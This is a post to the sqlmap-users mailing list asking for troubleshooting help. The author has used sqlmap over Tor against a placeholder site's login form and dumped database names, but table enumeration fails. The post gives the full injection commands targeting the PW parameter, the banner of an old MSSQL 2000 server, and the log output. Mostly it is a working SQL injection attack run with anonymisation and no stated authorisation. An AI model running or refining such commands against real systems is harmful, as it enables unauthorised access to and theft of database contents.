Hello,
First some background information
1. Havij was able to enumerate databases, tables, columns & data on the same
URL / POST data2. sqlmap is unable to enumerate tables (see commands below)3.
--banner outputMicrosoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16
2008 *:*:* Copyright (c) 1988-2003 Microsoft Corporation Standard
Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
Command to enumerate databases:python sqlmap.py -u
"http://www.site.com/index.asp?action=auth"; --random-agent --tor --data
"UN=admin&PW=admin&x=0&y=0" -p "PW" --dbms=mssql -o --dbs
this successfully lists all databases
Command to enumerate tablespython sqlmap.py -u
"http://www.site.com/index.asp?action=auth"; --random-agent --tor --data
"UN=admin&PW=admin&x=0&y=0" -p "PW" --dbms=mssql -o --tables -D DATABASENAME
[15:36:20] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating
system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0,
ASPback-end DBMS: Microsoft SQL Server 2000[15:36:20] [INFO] fetching tables
for database: DATABASENAME[15:36:24] [WARNING] the SQL query provided does not
return any outputDatabase: DATABASENAME[1 table]+--+| |+--+
[15:36:24] [WARNING] HTTP error codes detected during testing:500 (Internal
Server Error) - 1 times[15:36:24] [INFO] Fetched data logged to text files
under '/pentest/database/sqlmap/output/www.site.com'
[*] shutting down at 15:36:24
Any issues on what I could try? I tried --hex as well.
------------------------------------------------------------------------------
Keep Your Developer Skills Current with LearnDevNow!
The most comprehensive online learning library for Microsoft developers
is just $99.99! Visual Studio, SharePoint, SQL - plus HTML5, CSS3, MVC3,
Metro Style Apps, more. Free future releases when you subscribe now!
http://p.sf.net/sfu/learndevnow-d2d
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users
